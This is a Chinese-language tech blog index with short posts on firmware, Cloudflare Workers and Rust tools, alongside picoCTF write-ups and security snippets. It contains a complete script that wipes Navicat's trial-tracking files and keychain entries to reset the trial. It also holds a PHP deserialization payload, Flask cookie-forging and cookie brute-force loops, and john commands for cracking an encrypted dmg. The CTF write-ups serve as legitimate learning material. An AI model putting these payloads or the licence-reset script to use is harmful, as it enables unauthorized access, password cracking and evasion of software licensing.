Hackz

用 MTools BLE 一鍵升級 GAT562 的 Meshtastic 韌體

2026-06-02T00:00:00+08:00

GAT562 是基於 nRF52 的 Meshtastic 節點，韌體升級走 Legacy DFU。傳統做法是去 Meshtastic 官網翻對應的 UF2 / Zip，再開 nRF Connect 配對、進 DFU mode、推 package。每次升級重複一遍，挺煩。

MTools BLE</a> 把整個流程壓成一鍵，從打開 App 到升完大概 3 分鐘。

用 Cloudflare Workers 自動簽到 PTT 並推送到 Telegram

2026-05-06T00:00:00+08:00

PTT 的鄉民大概都遇過：太久沒登入帳號就被砍。社群早期有 PTTAutoSign</a> 這類工具，跑在 VPS 或 Raspberry Pi 上排程登入。可是為了一個每天只跑一次的小腳本去顧一台機器，實在不太划算。

ptt-autosign-worker</a> 把這件事搬到 Cloudflare Workers 上：每天 02:30 UTC 由 Cron Trigger 觸發，自動登入 PTT、抓登入資訊、丟到 Telegram。不用 VPS，不用 Docker，crontab 也省了，Free plan 就跑得起來。

gem-audit — 用 Rust 打造的 Ruby 相依套件安全稽核工具

2026-04-15T00:00:00+08:00

Ruby 專案要做相依套件安全稽核，大多數人第一個想到的就是 bundler-audit</a>，1.27 億次下載算是 Ruby 生態系的標配。不過用久了會發現幾個痛點：要完整的 Ruby 執行環境、要系統 git、啟動慢，而且 exit code 只有兩種，沒辦法分「有漏洞」跟「指令掛了」。

gem-audit</a> 是 Rust 重寫的版本，編譯成單一 binary，Ruby、Bundler、git 都不用，掃描速度快了 15 到 41 倍。

rubyfast — 用 Rust 重寫的 Ruby 效能 Linter，比原版快 162 倍

2026-04-14T00:00:00+08:00

寫 Ruby 的人大概都認識 fasterer</a> 這個 gem，會幫你找出常見的效能反模式。但專案越長越大之後，fasterer 自己的執行速度反而變成痛點。
rubyfast</a> 是用 Rust 把 fasterer 重寫了一次，19 條偵測規則照搬，但速度差異很有感：2,235 個 Ruby 檔案，原本 34.1 秒，現在 0.21 秒，快了 162 倍。

用 Cloudflare Workers 打造 1min.ai API Relay

2026-04-12T00:00:00+08:00

1min.ai</a> 是一個 AI 聚合平台，一個訂閱就能用 GPT、Claude、Mistral 等多家模型。可惜它的 API 格式跟 OpenAI 不完全相容，所以現成的工具和 SDK 多半沒辦法直接串。
1min-relay-worker</a> 就是針對這件事的 workaround：跑在 Cloudflare Workers 上的中繼服務，把 1min.ai 的 API 包成 OpenAI API 格式。

Reset navicat trial

2024-05-16T03:11:27+08:00

Reset the Navicat trial time on Mac.
#!/bin/bash set -uo pipefail # ========================================== # 變數定義 / Variables Definition # ========================================== readonly APP_NAME="Navicat Premium" readonly APP_SUPPORT_DIR="$HOME/Library/Application Support/PremiumSoft CyberTech/Navicat CC/Navicat Premium" readonly PLIST_FILE="$HOME/Library/Preferences/com.navicat.NavicatPremium.plist" readonly KEYCHAIN_SERVICE="com.navicat.NavicatPremium" readonly HASH_REGEX="^[0-9A-F]{32}$" # ========================================== # 日誌函數 / Logging Functions # ========================================== log_info() { echo -e "[\033[34mINFO\033[0m] $1"; } log_success() { echo -e "[\033[32mSUCCESS\033[0m] $1"; } log_warn() { echo -e "[\033[33mWARN\033[0m] $1"; } # ========================================== # 功能函數 / Functional Modules # ========================================== # 1. 終止應用程式 / Terminate Application terminate_app() { log_info "正在檢查並終止 $APP_NAME 程序... / Checking and terminating $APP_NAME process..." if pkill -9 "$APP_NAME" 2>/dev/null; then log_success "已成功終止正在執行的 $APP_NAME 程序。/ Successfully terminated running process." else log_info "$APP_NAME 程序未在執行。/ Process is not running." fi } # 2. 清理應用程式支援目錄的雜湊檔案 / Clean hash files in App Support clean_support_files() { log_info "清理應用程式支援目錄的雜湊檔案... / Cleaning hash files in app support directory..." if [[ ! -d "$APP_SUPPORT_DIR" ]]; then log_warn "目錄不存在，跳過: $APP_SUPPORT_DIR / Directory not found, skipping." return fi local deleted_count=0 while IFS= read -r file; do local filename filename=$(basename "$file") # 匹配以 . 開頭且後面跟著 32 位大寫十六進位字元的檔案 if echo "${filename#.}" | grep -Eq "$HASH_REGEX"; then rm -f "$file" log_info "已刪除雜湊檔案: $filename / Deleted hash file: $filename" ((deleted_count++)) fi done < <(find "$APP_SUPPORT_DIR" -maxdepth 1 -type f -name '.[0-9A-F]*' 2>/dev/null) log_success "應用程式支援目錄清理完成，共刪除 $deleted_count 個檔案。/ Cleaned $deleted_count files." } # 3. 處理偏好設定檔案 / Clean preferences plist file clean_plist_keys() { log_info "處理偏好設定檔案... / Processing preferences plist file..." if [[ ! -f "$PLIST_FILE" ]]; then log_warn "偏好設定檔案不存在: $PLIST_FILE / Plist file not found." return fi # 獲取所有符合 32 位元雜湊格式的頂層鍵值 local keys_to_delete keys_to_delete=$(/usr/libexec/PlistBuddy -c "Print" "$PLIST_FILE" 2>/dev/null | grep -Eoa "^\s{4}[0-9A-F]{32}" | tr -d ' ' || true) if [[ -z "$keys_to_delete" ]]; then log_info "未找到需要刪除的 32 位元雜湊鍵值。/ No 32-character hash keys found." return fi local deleted_count=0 while IFS= read -r key; do if /usr/libexec/PlistBuddy -c "Delete :$key" "$PLIST_FILE" 2>/dev/null; then log_info "已刪除 Plist 鍵值: $key / Deleted Plist key: $key" ((deleted_count++)) fi done <<< "$keys_to_delete" log_success "偏好設定清理完成，共刪除 $deleted_count 個鍵值。/ Cleaned $deleted_count keys." } # 4. 清理鑰匙圈中的試用期追蹤項目 / Clean Keychain entries clean_keychain() { log_info "清理鑰匙圈中的試用期追蹤項目... / Cleaning trial tracking entries in Keychain..." local keychain_accounts keychain_accounts=$(security dump-keychain ~/Library/Keychains/login.keychain-db 2>/dev/null | \ awk '/0x00000007.*'"$KEYCHAIN_SERVICE"'/{found=1} found && /"acct"/{print; found=0}' | \ sed 's/.*<blob>="$[^"]*$".*/\1/') if [[ -z "$keychain_accounts" ]]; then log_info "未找到需要刪除的鑰匙圈項目。/ No keychain entries found." return fi local deleted_count=0 while IFS= read -r account; do if echo "$account" | grep -Eq "$HASH_REGEX"; then if security delete-generic-password -s "$KEYCHAIN_SERVICE" -a "$account" >/dev/null 2>&1; then log_info "已刪除鑰匙圈項目: $account / Deleted keychain entry: $account" ((deleted_count++)) fi fi done <<< "$keychain_accounts" log_success "鑰匙圈清理完成，共刪除 $deleted_count 個項目。/ Deleted $deleted_count keychain entries." } # ========================================== # 主程式執行 / Main Execution # ========================================== main() { echo "==================================================" echo " Navicat Premium 重設腳本 / Reset Script" echo "==================================================" terminate_app clean_support_files clean_plist_keys clean_keychain echo "==================================================" log_success "所有清理任務已完成！/ All cleaning tasks completed!" } # 執行主程式 main</code></pre>
picoCTF - Super Serial 2022-01-18T03:11:27+08:00 先檢查 robots.txt 發現有 Disallow: /admin.phps</code> 接下來就檢查 /index.phps</code> ，可以看到 Source Code，接下檢查發現他引用了兩隻 php authentication.php</code> cookie.php</code> 一樣先檢查他們的 Source code，會發現有一隻從 Cookie 可以反序列化的函式 以下是 payload，將得到的 Token 塞進 Cookie 就拿到 Flag。 <?php class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function read_log() { return file_get_contents($this->log_file); } } $perm = new access_log("../flag"); echo base64_encode(serialize($perm)); ?></code></pre> picoCTF - caas 2021-07-03T23:11:27+08:00 https://picoctf/cowsay/{message}</code> 蠻簡單的一題，一隻牛會說出您輸入的訊息。這題有提供 index.js，不過我沒注意到就直接解了。picoCTF - More Cookies 150 points 2021-07-03T03:11:27+08:00 Cookies 的進階題，還有一個同名版本是 2021 年的 More Cookies 90 points 但那題感覺難上很多。 這次作者有提供 server 的 source code ，簡單來說就是直接 Open Book，他使用了一套叫做 Flask 的 Web framework。 服務啟動會隨機挑選餅乾名當作 Secret key，當使用 Session 時，去產生出加密後的 Cookies。 所以我們先照慣例，直接搜尋 snickerdoodle，從開發者模式取得 Cookie，原本想自己照他的模式，寫類似的 python 來跑，不過從 Google 發現這個有人已經寫出加解密套件。 GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder</a> cookies=(a b c) for i in "${cookies[@]}"; do echo "$i"; python ./flask_session_cookie_manager3.py decode -s "$i" -c [cookies]; done</code></pre> 順利的話會找到對應的 Secret key，也可以稍微看一下解密出來的明文的樣子，再把內文改成 admin，再用 Key 拿去加密，組成 Cookies 回寫瀏覽器就解了。 picoCTF - Cookies 2021-07-01T20:09:27+08:00 這一題標題就非常明示的，這是跟 Cookies 有關係。打開網址首先會看到一個輸入框跟搜尋按鈕，輸入框裡還有 placeholder 寫著 snickerdoodle。直接輸入 snickerdoodle 會出現 I love snickerdoodle cookies! 打開瀏覽器開發工具，找出 Cookies 會發現寫了一筆 name = 0</code> 的 Cookie ，以此類推，可能會有 1, 2, 3... 的 cookies。 接下來 curl 是工程師的好朋友，寫一隻 Shell Script。因為 Flag 有某些特徵，所以我用 Grep 去過濾掉不要的資訊。 #!/bin/bash set -B for i in {0..28}; do curl -v --silent 'http://picoctf/check' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://picoctf/check' -H 'Cookie: name='$i -H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' 2>&1 | grep pico done</code></pre> 這題分數雖然不高，其實也真的不難，但寫 Shell Script 蠻有趣的。 自行升級 Docker 2021-06-27T20:09:27+08:00 最近遇到一個 Bug，實際追下去後才發現是 AWS 提供的 Docker 版本不是最新的。Docker 網站有提供編譯好的執行檔，可以直接下載覆蓋原有執行檔，之後套件更新也會一併升上去。 $ wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.7.tgz $ tar zxvf docker-20.10.7.tgz $ sudo cp docker-20.10.7/docker /usr/bin/docker</code></pre> 暴力破解加密的 dmg 2021-06-19T20:09:27+08:00 首先先安裝 john-jumbo $ brew install john-jumbo</code></pre> 先產生 hashes，注意程式版本是否不同 $ /usr/local/Cellar/john-jumbo/1.9.0/share/john/dmg2john target.dmg > target.dmg.hash</code></pre> 開始暴力破解 $ john target.dmg.hash</code></pre> 如果明確知道密碼組成，可以使用 --mask</code> $ john --mask="[0-9a-z][0-9a-z][0-9a-z]" target.dmg.hash</code></pre> 如果要多開 processes，可以使用 --fork</code>，最高不要超過 CPU Core 數 $ john --fork=8 target.dmg.hash</code></pre> DNS Override in DHCP Mode 2018-11-06T00:37:27+08:00 原因是 Vultr DNS 會不定期爛掉，一個新的 instance 預設是 DHCP。發 Ticket 去問客服，他會教你如何採用固定 IP 配置。不過如果不想跟客服周旋，可以自己 Override DNS 設定。 $ cat /etc/network/interfaces # 確認 interface</code></pre># This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). #source /etc/network/interfaces.d/* auto lo iface lo inet loopback allow-hotplug ens3 iface ens3 inet dhcp iface ens3 inet6 auto</code></pre>$ vi /etc/dhcp/dhclient.conf # 修改 DHCP 設定</code></pre>interface "ens3" { supersede domain-name-servers 1.1.1.1, 1.0.0.1; }</code></pre>$ reboot && cat /etc/resolv.conf</code></pre># Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver 2001:19f0:300:1704::6 nameserver 1.1.1.1 nameserver 1.0.0.1</code></pre> Miniflux 自建 RSS 閱讀器服務 2018-11-04T13:52:07+08:00 在 Google Reader 收攤後，我後來嘗試了不少的 RSS 閱讀器服務，Feedly</a> 、Flipboard</a> 和 Feedspot</a>。嚴格來說 Flipboard</a> 不算是 RSS 閱讀器，比較像是社群內容雜誌，但不可否認的它是個好 APP，以前甚至為了 Flipboard</a> 買 iPad。Feedspot</a> 感覺介面很像 Google Reader，又有計劃推出 iOS APP，中間有推出終生 Gold 方案，我也購買了。Gold 只差在通知，可以自訂時間區間而已，真的蠻雞肋的，有些 Bug 回報，官方似乎沒在維護，iOS APP. 也難產，讓我一直有想出走的想法，爾後又接觸到 Tiny Tiny RSS、FreshRSS</a> 和 Miniflux</a>。